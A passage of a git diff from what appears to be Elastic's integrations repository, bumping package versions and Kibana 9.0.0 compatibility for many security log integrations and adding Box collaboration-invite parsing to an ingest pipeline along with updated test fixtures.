b/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/default.yml @@ -91,6 +91,12 @@ processors: field: azure.platformlogs.resourceId target_field: azure.resource_id ignore_missing: true + if : ctx?.azure?.resource_id == null + - rename: + field: azure.platformlogs.ResourceId + target_field: azure.resource_id + ignore_missing: true + if : ctx?.azure?.resource_id == null - rename: field: azure.platformlogs.Region target_field: cloud.region @@ -148,8 +154,9 @@ processors: - convert: field: azure.platformlogs.durationMs target_field: event.duration - type: integer + type: long ignore_missing: true + ignore_failure: true if: "ctx?.azure?.platformlogs?.durationMs != null && ctx?.azure?.platformlogs?.durationMs instanceof String" - remove: field: azure.platformlogs.durationMs @@ -284,6 +291,7 @@ processors: - set: field: event.kind value: event + ignore_failure: true - pipeline: name: '{{ IngestPipeline "azure-shared-pipeline" }}' - pipeline: diff --git a/packages/azure/manifest.yml b/packages/azure/manifest.yml index 9c6813b859c..df074461c79 100644 --- a/packages/azure/manifest.yml +++ b/packages/azure/manifest.yml @@ -1,6 +1,6 @@ name: azure title: Azure Logs -version: "1.22.0" +version: "1.22.2" description: This Elastic integration collects logs from Azure type: integration icons: diff --git a/packages/azure_blob_storage/changelog.yml b/packages/azure_blob_storage/changelog.yml index 89e50c503f7..efb153b083c 100644 --- a/packages/azure_blob_storage/changelog.yml +++ b/packages/azure_blob_storage/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.1.1" changes: - description: Add missing category. diff --git a/packages/azure_blob_storage/manifest.yml b/packages/azure_blob_storage/manifest.yml index a224b3330d2..ac2e0ab7055 100644 --- a/packages/azure_blob_storage/manifest.yml +++ b/packages/azure_blob_storage/manifest.yml @@ -3,10 +3,10 @@ name: azure_blob_storage title: Custom Azure Blob Storage Input description: Collect log data from configured Azure Blob Storage Container with Elastic Agent. type: input -version: "2.1.1" +version: "2.2.0" conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" categories: - azure - observability diff --git a/packages/azure_frontdoor/changelog.yml b/packages/azure_frontdoor/changelog.yml index 49d3eaa821f..65038d9caf3 100644 --- a/packages/azure_frontdoor/changelog.yml +++ b/packages/azure_frontdoor/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.1.3" changes: - description: Add missing category. diff --git a/packages/azure_frontdoor/manifest.yml b/packages/azure_frontdoor/manifest.yml index 569e5e6093f..a621bd0c831 100644 --- a/packages/azure_frontdoor/manifest.yml +++ b/packages/azure_frontdoor/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: azure_frontdoor title: "Azure Frontdoor" -version: "2.1.3" +version: "2.2.0" description: "This Elastic integration collects logs from Azure Frontdoor." type: integration categories: @@ -12,7 +12,7 @@ categories: - web conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/azure-frontdoor-overview.png title: Azure Frontdoor Overview diff --git a/packages/azure_network_watcher_nsg/changelog.yml b/packages/azure_network_watcher_nsg/changelog.yml index 7ac972c91f2..8797187c366 100644 --- a/packages/azure_network_watcher_nsg/changelog.yml +++ b/packages/azure_network_watcher_nsg/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.2.1" changes: - description: Add missing category. diff --git a/packages/azure_network_watcher_nsg/manifest.yml b/packages/azure_network_watcher_nsg/manifest.yml index 2bdc5b9d4b0..fcc5727a73b 100644 --- a/packages/azure_network_watcher_nsg/manifest.yml +++ b/packages/azure_network_watcher_nsg/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.1.2 name: azure_network_watcher_nsg title: Azure Network Watcher NSG -version: "1.2.1" +version: "1.3.0" description: Collect logs from Azure Network Watcher NSG with Elastic Agent. type: integration categories: @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/azure_network_watcher_vnet/changelog.yml b/packages/azure_network_watcher_vnet/changelog.yml index 7260019e7d5..f2c58ea8a7d 100644 --- a/packages/azure_network_watcher_vnet/changelog.yml +++ b/packages/azure_network_watcher_vnet/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.2.1" changes: - description: Add missing category. diff --git a/packages/azure_network_watcher_vnet/manifest.yml b/packages/azure_network_watcher_vnet/manifest.yml index a6a69d880be..221d9a4d141 100644 --- a/packages/azure_network_watcher_vnet/manifest.yml +++ b/packages/azure_network_watcher_vnet/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.1.2 name: azure_network_watcher_vnet title: Azure Network Watcher VNet -version: "1.2.1" +version: "1.3.0" description: Collect logs from Azure Network Watcher VNet with Elastic Agent. type: integration categories: @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/barracuda/changelog.yml b/packages/barracuda/changelog.yml index 888b9059f8a..775aa1d4bba 100644 --- a/packages/barracuda/changelog.yml +++ b/packages/barracuda/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.18.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.17.2" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/barracuda/manifest.yml b/packages/barracuda/manifest.yml index 8401c260d48..4a54f2c03f3 100644 --- a/packages/barracuda/manifest.yml +++ b/packages/barracuda/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: barracuda title: "Barracuda Web Application Firewall" -version: "1.17.2" +version: "1.18.0" description: "Collect logs from Barracuda Web Application Firewall with Elastic Agent." type: integration source: @@ -12,7 +12,7 @@ categories: - web_application_firewall conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/barracuda_cloudgen_firewall/changelog.yml b/packages/barracuda_cloudgen_firewall/changelog.yml index 26c760fc7b9..e88342e414b 100644 --- a/packages/barracuda_cloudgen_firewall/changelog.yml +++ b/packages/barracuda_cloudgen_firewall/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.15.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.14.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/barracuda_cloudgen_firewall/manifest.yml b/packages/barracuda_cloudgen_firewall/manifest.yml index 0acffeb56e3..2edb57f8822 100644 --- a/packages/barracuda_cloudgen_firewall/manifest.yml +++ b/packages/barracuda_cloudgen_firewall/manifest.yml @@ -1,13 +1,13 @@ format_version: "3.0.3" name: barracuda_cloudgen_firewall title: Barracuda CloudGen Firewall Logs -version: "1.14.1" +version: "1.15.0" description: Collect logs from Barracuda CloudGen Firewall devices with Elastic Agent. categories: ["network", "security", "firewall_security"] type: integration conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" policy_templates: - name: barracuda_cloudgen_firewall title: Barracuda CloudGen Firewall Logs diff --git a/packages/bbot/changelog.yml b/packages/bbot/changelog.yml index 2d59585e10a..29ad3b982cf 100644 --- a/packages/bbot/changelog.yml +++ b/packages/bbot/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.2.0" changes: - description: Update to support BBOT v2 output formats diff --git a/packages/bbot/manifest.yml b/packages/bbot/manifest.yml index e85769c66eb..c53092222d9 100644 --- a/packages/bbot/manifest.yml +++ b/packages/bbot/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.1.2 name: bbot title: "BBOT (Bighuge BLS OSINT Tool)" -version: "1.2.0" +version: "1.3.0" description: "BBOT is a recursive internet scanner inspired by Spiderfoot, but designed to be faster, more reliable, and friendlier to pentesters, bug bounty hunters, and developers. " type: integration categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/beaconing/changelog.yml b/packages/beaconing/changelog.yml index 5a05d38752e..ad4437ae115 100644 --- a/packages/beaconing/changelog.yml +++ b/packages/beaconing/changelog.yml @@ -1,3 +1,8 @@ +- version: "1.3.0" + changes: + - description: Add support for Kibana `9.0.0` + type: enhancement + link: https://github.com/elastic/integrations/pull/12940 - version: "1.2.3" changes: - description: Add agent policy documentation diff --git a/packages/beaconing/elasticsearch/transform/pivot_transform/transform.yml b/packages/beaconing/elasticsearch/transform/pivot_transform/transform.yml index 722ca6f8a0f..3cb661866c2 100644 --- a/packages/beaconing/elasticsearch/transform/pivot_transform/transform.yml +++ b/packages/beaconing/elasticsearch/transform/pivot_transform/transform.yml @@ -1,6 +1,6 @@ dest: - index: ml_beaconing-1.2.3 - pipeline: 1.2.3-ml_beaconing_ingest_pipeline + index: ml_beaconing-1.3.0 + pipeline: 1.3.0-ml_beaconing_ingest_pipeline aliases: - alias: ml_beaconing.latest move_on_creation: true diff --git a/packages/beaconing/manifest.yml b/packages/beaconing/manifest.yml index d44ddcf0da9..ffaf7fa48e5 100644 --- a/packages/beaconing/manifest.yml +++ b/packages/beaconing/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.0 name: beaconing title: "Network Beaconing Identification" -version: 1.2.3 +version: 1.3.0 source: license: "Elastic-2.0" description: "Package to identify beaconing activity in your network events." @@ -11,7 +11,7 @@ categories: - advanced_analytics_ueba conditions: kibana: - version: '^8.10.1' + version: "^8.10.1 || ^9.0.0" elastic: subscription: platinum capabilities: diff --git a/packages/beyondinsight_password_safe/changelog.yml b/packages/beyondinsight_password_safe/changelog.yml index b2670825785..faf86a4dd5f 100644 --- a/packages/beyondinsight_password_safe/changelog.yml +++ b/packages/beyondinsight_password_safe/changelog.yml @@ -1,3 +1,8 @@ +- version: "0.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.1.0" changes: - description: Initial release. diff --git a/packages/beyondinsight_password_safe/manifest.yml b/packages/beyondinsight_password_safe/manifest.yml index 86eed6818bf..d767eab6425 100644 --- a/packages/beyondinsight_password_safe/manifest.yml +++ b/packages/beyondinsight_password_safe/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.3.0 name: beyondinsight_password_safe title: BeyondInsight and Password Safe -version: 0.1.0 +version: "0.2.0" source: license: "Elastic-2.0" description: Ingest privileged access management (PAM) data from BeyondTrust's BeyondInsight PAM Reporting Platform and Password Safe, using Elastic Agent. @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.15.3" + version: "^8.15.3 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/bitdefender/changelog.yml b/packages/bitdefender/changelog.yml index 8af40f3b7c6..d3819614028 100644 --- a/packages/bitdefender/changelog.yml +++ b/packages/bitdefender/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.3.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/bitdefender/manifest.yml b/packages/bitdefender/manifest.yml index c944c63e201..024fb4e28c2 100644 --- a/packages/bitdefender/manifest.yml +++ b/packages/bitdefender/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: bitdefender title: "BitDefender" -version: "2.3.1" +version: "2.4.0" source: license: "Elastic-2.0" description: "Ingest BitDefender GravityZone logs and data" @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.14.3" + version: "^8.14.3 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/bitwarden/changelog.yml b/packages/bitwarden/changelog.yml index 0beb80e3bef..8b4a743f19f 100644 --- a/packages/bitwarden/changelog.yml +++ b/packages/bitwarden/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.17.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.16.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/bitwarden/manifest.yml b/packages/bitwarden/manifest.yml index bc7f6fc64a8..e740104576a 100644 --- a/packages/bitwarden/manifest.yml +++ b/packages/bitwarden/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: bitwarden title: Bitwarden -version: "1.16.1" +version: "1.17.0" source: license: Elastic-2.0 description: Collect logs from Bitwarden with Elastic Agent. @@ -11,7 +11,7 @@ categories: - credential_management conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/blacklens/changelog.yml b/packages/blacklens/changelog.yml index 9a0c7c4a452..768ea9fdf21 100644 --- a/packages/blacklens/changelog.yml +++ b/packages/blacklens/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.2.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/blacklens/manifest.yml b/packages/blacklens/manifest.yml index 3cab6448840..ba4a3ffaaf4 100644 --- a/packages/blacklens/manifest.yml +++ b/packages/blacklens/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.3.0 name: blacklens title: "blacklens.io" -version: 0.2.1 +version: "0.3.0" source: license: "Elastic-2.0" description: "Collect logs from blacklens.io with Elastic Agent" @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.15.2" + version: "^8.15.2 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/box_events/changelog.yml b/packages/box_events/changelog.yml index 81d979bf959..28510dc9b68 100644 --- a/packages/box_events/changelog.yml +++ b/packages/box_events/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "2.13.0" + changes: + - description: Handle collaboration invite events and improve user field handling. + type: enhancement + link: https://github.com/elastic/integrations/pull/12944 +- version: "2.12.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.11.1" changes: - description: Add missing ECS mappings. diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-anomalous-download.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-anomalous-download.log-expected.json index 13fc486b2c3..34ceccc253a 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-anomalous-download.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-anomalous-download.log-expected.json @@ -83,6 +83,7 @@ } ], "user": [ + "Unknown User", "some@user.com", "567", "Some user" @@ -144,7 +145,8 @@ "email": "some@user.com", "id": "567", "name": "Some user" - } + }, + "name": "Unknown User" } }, { @@ -226,6 +228,7 @@ } ], "user": [ + "Unknown User", "some@user.com", "567", "Some user" @@ -280,8 +283,9 @@ "email": "some@user.com", "id": "567", "name": "Some user" - } + }, + "name": "Unknown User" } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-copy.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-copy.log-expected.json index 3f50695e79d..9d85b96a757 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-copy.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-copy.log-expected.json @@ -79,14 +79,20 @@ }, "related": { "user": [ + "info@elastic.co", + "Elastic Integrations", "19530772260", - "dominic.page@elastic.co", - "Elastic Integrations" + "dominic.page@elastic.co" ] }, "tags": [ "preserve_original_event" - ] + ], + "user": { + "domain": "elastic.co", + "id": "info@elastic.co", + "name": "Elastic Integrations" + } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-create.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-create.log-expected.json index de98438c830..1a9fda56ae0 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-create.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-create.log-expected.json @@ -91,14 +91,20 @@ }, "related": { "user": [ + "info@elastic.co", + "Elastic Integrations", "19530772260", - "dominic.page@elastic.co", - "Elastic Integrations" + "dominic.page@elastic.co" ] }, "tags": [ "preserve_original_event" - ] + ], + "user": { + "domain": "elastic.co", + "id": "info@elastic.co", + "name": "Elastic Integrations" + } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-download.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-download.log-expected.json index ced89a515e3..4e623838acc 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-download.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-download.log-expected.json @@ -102,14 +102,20 @@ "d0549f816ea7631c4e59a5cc69e17efa6449b7bb" ], "user": [ + "info@elastic.co", + "Elastic Integrations", "19530772260", - "dominic.page@elastic.co", - "Elastic Integrations" + "dominic.page@elastic.co" ] }, "tags": [ "preserve_original_event" - ] + ], + "user": { + "domain": "elastic.co", + "id": "info@elastic.co", + "name": "Elastic Integrations" + } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-empty.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-empty.log-expected.json index 1c2f884a449..c97daacf230 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-empty.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-empty.log-expected.json @@ -2,4 +2,4 @@ "expected": [ null ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-event-types.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-event-types.log-expected.json index d9fac0c83d1..3f6d4d1ecc7 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-event-types.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-event-types.log-expected.json @@ -2447,4 +2447,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log b/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log new file mode 100644 index 00000000000..6d003b584f3 --- /dev/null +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log @@ -0,0 +1 @@ +{"accessible_by":{"id":"26570306658","login":"target@example.com","name":"Target User","type":"user"},"action_by":null,"additional_details":{"collab_id":"1123456789","invitation_message":"","is_performed_by_admin":false,"role":"Editor","type":"box://event/additional_details/collaboration"},"created_at":"2025-02-24T08:10:18-08:00","created_by":{"id":"12345678942","login":"acting@example.com","name":"Acting User","type":"user"},"event_id":"45f43783-da1c-4b9f-a609-0dee9e4bdb93","event_type":"COLLABORATION_INVITE","ip_address":"81.2.69.144","session_id":null,"source":{"folder_id":"308889935509","folder_name":"The folder name goes here","owned_by":{"id":"30633803054","login":"owner@example.com","name":"Folder Owner User","type":"user"},"parent":{"id":"239472683128","name":"parent folder of shared folder","type":"folder"},"user_id":"26570306658","user_name":"Target User"},"type":"event"} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log-expected.json new file mode 100644 index 00000000000..ad39ac57dd3 --- /dev/null +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-invite.log-expected.json @@ -0,0 +1,95 @@ +{ + "expected": [ + { + "box": { + "accessible_by": { + "id": "26570306658", + "type": "user" + }, + "additional_details": { + "collab_id": "1123456789", + "is_performed_by_admin": false, + "role": "Editor", + "type": "box://event/additional_details/collaboration" + }, + "created_at": "2025-02-24T08:10:18-08:00", + "created_by": { + "id": "12345678942", + "login": "acting@example.com", + "name": "Acting User", + "type": "user" + }, + "source": { + "folder_name": "The folder name goes here", + "id": "308889935509", + "owned_by": { + "id": "30633803054", + "login": "owner@example.com", + "name": "Folder Owner User", + "type": "user" + }, + "parent": { + "id": "239472683128", + "name": "parent folder of shared folder", + "type": "folder" + }, + "user_id": "26570306658", + "user_name": "Target User" + } + }, + "client": { + "ip": "81.2.69.144" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "COLLABORATION_INVITE", + "category": [ + "process" + ], + "id": "45f43783-da1c-4b9f-a609-0dee9e4bdb93", + "kind": "event", + "original": "{\"accessible_by\":{\"id\":\"26570306658\",\"login\":\"target@example.com\",\"name\":\"Target User\",\"type\":\"user\"},\"action_by\":null,\"additional_details\":{\"collab_id\":\"1123456789\",\"invitation_message\":\"\",\"is_performed_by_admin\":false,\"role\":\"Editor\",\"type\":\"box://event/additional_details/collaboration\"},\"created_at\":\"2025-02-24T08:10:18-08:00\",\"created_by\":{\"id\":\"12345678942\",\"login\":\"acting@example.com\",\"name\":\"Acting User\",\"type\":\"user\"},\"event_id\":\"45f43783-da1c-4b9f-a609-0dee9e4bdb93\",\"event_type\":\"COLLABORATION_INVITE\",\"ip_address\":\"81.2.69.144\",\"session_id\":null,\"source\":{\"folder_id\":\"308889935509\",\"folder_name\":\"The folder name goes here\",\"owned_by\":{\"id\":\"30633803054\",\"login\":\"owner@example.com\",\"name\":\"Folder Owner User\",\"type\":\"user\"},\"parent\":{\"id\":\"239472683128\",\"name\":\"parent folder of shared folder\",\"type\":\"folder\"},\"user_id\":\"26570306658\",\"user_name\":\"Target User\"},\"type\":\"event\"}", + "type": [ + "access", + "info", + "start" + ] + }, + "related": { + "ip": [ + "81.2.69.144" + ], + "location": [ + { + "lat": 51.5142, + "lon": -0.0931 + } + ], + "user": [ + "acting@example.com", + "Acting User", + "target@example.com", + "Target User", + "30633803054", + "owner@example.com", + "Folder Owner User" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "example.com", + "id": "acting@example.com", + "name": "Acting User", + "target": { + "domain": "example.com", + "id": "target@example.com", + "name": "Target User" + } + } + } + ] +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-malicious-content.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-malicious-content.log-expected.json index d9570cab769..e99b0b5ba8d 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-malicious-content.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-malicious-content.log-expected.json @@ -97,6 +97,7 @@ } ], "user": [ + "Unknown User", "some@email.com", "2320", "Some Name" @@ -138,7 +139,8 @@ "email": "some@email.com", "id": "2320", "name": "Some Name" - } + }, + "name": "Unknown User" } }, { @@ -225,6 +227,7 @@ "software" ], "user": [ + "Unknown User", "some@email.com", "2320", "Some Name" @@ -253,7 +256,8 @@ "email": "some@email.com", "id": "2320", "name": "Some Name" - } + }, + "name": "Unknown User" } } ] diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-preview.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-preview.log-expected.json index 2ad7358b07d..2fd22b45a19 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-preview.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-preview.log-expected.json @@ -102,14 +102,20 @@ "f46cece3eeb7d9ed5cb244d902775427be71492d" ], "user": [ + "info@elastic.co", + "Elastic Integrations", "19530772260", - "dominic.page@elastic.co", - "Elastic Integrations" + "dominic.page@elastic.co" ] }, "tags": [ "preserve_original_event" - ] + ], + "user": { + "domain": "elastic.co", + "id": "info@elastic.co", + "name": "Elastic Integrations" + } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-rename.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-rename.log-expected.json index f8e8296251f..6fbf17ea883 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-rename.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-rename.log-expected.json @@ -80,14 +80,20 @@ }, "related": { "user": [ + "info@elastic.co", + "Elastic Integrations", "19530772260", - "dominic.page@elastic.co", - "Elastic Integrations" + "dominic.page@elastic.co" ] }, "tags": [ "preserve_original_event" - ] + ], + "user": { + "domain": "elastic.co", + "id": "info@elastic.co", + "name": "Elastic Integrations" + } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-locations.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-locations.log-expected.json index 06a324ea755..622960c432a 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-locations.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-locations.log-expected.json @@ -59,6 +59,7 @@ } ], "user": [ + "Unknown User", "some@email.com", "2320", "Some name" @@ -95,7 +96,8 @@ "email": "some@email.com", "id": "2320", "name": "Some name" - } + }, + "name": "Unknown User" } }, { @@ -140,6 +142,7 @@ "ipv4-addr" ], "user": [ + "Unknown User", "some@email.com", "2320", "Some name" @@ -175,8 +178,9 @@ "email": "some@email.com", "id": "2320", "name": "Some name" - } + }, + "name": "Unknown User" } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-sessions.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-sessions.log-expected.json index cfc438754b4..cd6b3e9cb54 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-sessions.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-suspicious-sessions.log-expected.json @@ -58,6 +58,7 @@ } ], "user": [ + "Unknown User", "a@b.c", "50500", "A b c" @@ -94,7 +95,8 @@ "email": "a@b.c", "id": "50500", "name": "A b c" - } + }, + "name": "Unknown User" } }, { @@ -142,6 +144,7 @@ "user-account" ], "user": [ + "Unknown User", "a@b.c", "50500", "A b c" @@ -177,8 +180,9 @@ "email": "a@b.c", "id": "50500", "name": "A b c" - } + }, + "name": "Unknown User" } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-trash.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-trash.log-expected.json index f36e43ae6dd..899c2666b74 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-trash.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-trash.log-expected.json @@ -81,14 +81,20 @@ "815f3eb7dcce57c23f8010bc13ffd01b2333a364" ], "user": [ + "info@elastic.co", + "Elastic Integrations", "19530772260", - "dominic.page@elastic.co", - "Elastic Integrations" + "dominic.page@elastic.co" ] }, "tags": [ "preserve_original_event" - ] + ], + "user": { + "domain": "elastic.co", + "id": "info@elastic.co", + "name": "Elastic Integrations" + } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/_dev/test/pipeline/test-upload.log-expected.json b/packages/box_events/data_stream/events/_dev/test/pipeline/test-upload.log-expected.json index e4a533031b2..5e02d4a916e 100644 --- a/packages/box_events/data_stream/events/_dev/test/pipeline/test-upload.log-expected.json +++ b/packages/box_events/data_stream/events/_dev/test/pipeline/test-upload.log-expected.json @@ -109,14 +109,20 @@ "586a84a9823d175b5966f15eb050d5e9f0e88e71" ], "user": [ + "info@elastic.co", + "Elastic Integrations", "19530772260", - "dominic.page@elastic.co", - "Elastic Integrations" + "dominic.page@elastic.co" ] }, "tags": [ "preserve_original_event" - ] + ], + "user": { + "domain": "elastic.co", + "id": "info@elastic.co", + "name": "Elastic Integrations" + } } ] -} \ No newline at end of file +} diff --git a/packages/box_events/data_stream/events/elasticsearch/ingest_pipeline/default.yml b/packages/box_events/data_stream/events/elasticsearch/ingest_pipeline/default.yml index b0c0baca2dc..ba86b16471d 100644 --- a/packages/box_events/data_stream/events/elasticsearch/ingest_pipeline/default.yml +++ b/packages/box_events/data_stream/events/elasticsearch/ingest_pipeline/default.yml @@ -593,6 +593,71 @@ processors: field: box.event_id target_field: event.id ignore_missing: true +# User details: set rather than rename is used in these to avoid breaking change. + - split: + field: box.created_by.login + target_field: _tmp.created_login + separator: '@' + if: ctx.box?.created_by?.login instanceof String && ctx.box.created_by.login.length() > 2 + - set: + field: user.domain + copy_from: _tmp.created_login.1 + if: ctx._tmp?.created_login instanceof List && ctx._tmp.created_login.length == 2 + - set: + field: user.id + copy_from: box.created_by.login + ignore_empty_value: true + if: ctx.user?.id == null && ctx.box?.created_by?.type == 'user' + - append: + field: related.user + value: '{{{user.id}}}' + if: ctx.user?.id != null && ctx.user.id != '' + allow_duplicates: false + - set: + field: user.name + copy_from: box.created_by.name + ignore_empty_value: true + if: ctx.user?.name == null && ctx.box?.created_by?.type == 'user' + - append: + field: related.user + value: '{{{user.name}}}' + if: ctx.user?.name != null && ctx.user.name != '' + allow_duplicates: false +# Collaboration events. + - split: + field: box.accessible_by.login + target_field: _tmp.accessible_login + separator: '@' + if: ctx.box?.accessible_by?.login instanceof String && ctx.box.accessible_by.login.length() > 2 + - set: + field: user.target.domain + copy_from: _tmp.accessible_login.1 + if: ctx._tmp?.accessible_login instanceof List && 